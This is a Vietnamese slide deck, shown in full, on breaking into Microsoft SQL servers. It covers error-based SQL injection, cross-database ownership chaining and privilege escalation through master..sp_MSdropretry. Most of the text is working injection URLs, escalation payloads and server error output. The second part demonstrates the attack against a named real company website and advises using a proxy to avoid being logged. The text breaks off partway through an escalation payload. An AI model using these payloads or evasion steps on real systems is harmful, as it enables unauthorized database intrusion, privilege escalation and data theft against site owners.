Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-Database

Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-Database PHẦN I: CÁC KĨ THUẬT HACK TRONG SQL • sql-injection • convert-magic • cross-databasePHÁT HIỆN LỖI SQL-INJECTIONhttp://www.company.com/product/price.asp?id=1 select price from product where id=1 http://www.company.com/product/price.asp?id=1’ select price from product where id=1’ Unclosed quotation mark before the character string ‘ http://www.company.com/product/price.asp?id=[...]KĨ THUẬT CONVERT-MAGIChttp://wwww.company.com/product/price.asp?id=1 and 1=convert(int,@@version) --sp_password select price from product where id=1 and 1=convert(int,@@version)--sp_password Syntax error converting the nvarchar value Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 23 1998 21:08:09 Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3) to a column of...
Nội dung trích xuất từ tài liệu:
Xâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-DatabaseXâm nhập máy chủ Ms-Sql qua lỗi Sql-Injection & Cross-DatabasePHẦN I: CÁC KĨ THUẬT HACK TRONG SQL• sql-injection• convert-magic• cross-databasePHÁT HIỆN LỖI SQL-INJECTIONhttp://www.company.com/product/price.asp?id=1select price from product where id=1http://www.company.com/product/price.asp?id=1’select price from product where id=1’Unclosed quotation mark before the character string ‘http://www.company.com/product/price.asp?id=[...]KĨ THUẬT CONVERT-MAG IChttp://wwww.company.com/product/price.asp?id=1 and 1=convert(int,@@version) --sp_passwordselect price from product where id=1 and 1=convert(int,@@version)--sp_passwordSyntax error converting the nvarchar value Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 23 199821:08:09 Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195:Service Pack 3) to a column of data type int.sp_password was found in the text of this event.-- The text has been replaced with this comment forsecurity reasons.• @@servername, db_name(), system_user, ...•‘“()LỖI CROSS-DATABASE CỦA MS-SQLuse testdatabasecreate proc dbo.test as select * from master.dbo.sysxloginsgoexec testselect * from master.dbo.sysxlogins• sa == dbo• db_owner có thể create & design các object của dbo• S ID của proc dbo.test == SID của master.dbo.sysxloginsLỖI INJECTION CỦA MASTER..SP_MSDROPRETRYCREATE PROCEDURE sp_MSdropretry(@tname sysname, @pname sysname)asdeclare @retcode int/*** To public*/exec (drop table + @tname)if @@ERROR 0 return(1)exec (drop procedure + @pname)if @@ERROR 0 return(1)return (0)NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRYexec sp_executesql Ncreate view dbo.test as select * from master.dbo.sysusersexec sp_msdropretry xx update sysusers set sid=0x01 where name=dbo,xxexec sp_msdropretry xx update dbo.test set sid=0x01,roles=0x01 where name=guest,xxexec sp_executesql Ndrop view dbo.test‘drop table xx update sysusers set sid=0x01 where name=dbo drop procedure xxdrop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx• guest == db_owner của database masterPHẦN 2: MINH HỌA HACK SQL• Khai thác lỗi sql-injection tại nhaxinh.com.vn• Một số kinh nghiệm khi hack SQLLỖI SQL-INJECTION TẠI NHAXINH.COM.VN• dùng “proxy.ia2.marketscore.com:80” ðể tránh bị ghi nhật kíhttp://www.nhaxinh.com.vn/FullStory.asp?id=1http://www.nhaxinh.com.vn/FullStory.asp?id=1’Microsoft OLE DB Provider for ODBC Drivers error 80040e14[Microsoft][ODBCSQLServerDriver] [SQLServer]Unclosed quotation mark before the character string ./Including/general.asp, line 840XÁC ĐỊNH VERSIONhttp://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version)--Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server][SQL Server]Syntax error converting the nvarchar value Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86)Apr 9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0(Build 2195: Service Pack 4) to a column of data type int./Including/general.asp, line 840XÁC ĐỊNH SERVER_NAMEhttp://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername)--Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value UNESCO to acolumn of data type int./Including/general.asp, line 840http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name())--Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value NhaXinh to acolumn of data type int./Including/general.asp, line 840http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,system_user)--Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value nhaxinh to acolumn of data type int./Including/general.asp, line 840• user_name(): các member của “sysadmin” được map sang “dbo”XÁC ĐỊNH MỨC QUYỀN CỦA SQL SERVERhttp://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(sqloledb,;;,)--Microsoft OLE DB Provider for ODBC Drivers error 80040e14[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider sqloledb has beendenied. You must access this provider through a linked server./Including/general.asp, line 840• admin đã disable openrowset/sqloledb, sẽ enable lại sauĐƯA GUEST VÀO DB_OWNER CỦA DATABASE MASTER1http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql Ncreate view dbo.test as select * frommaster.dbo.sysusers exec sp_msdropretry xx update sysusers set sid=0x01 where name=dbo,xx execsp_msdropretry xx update ...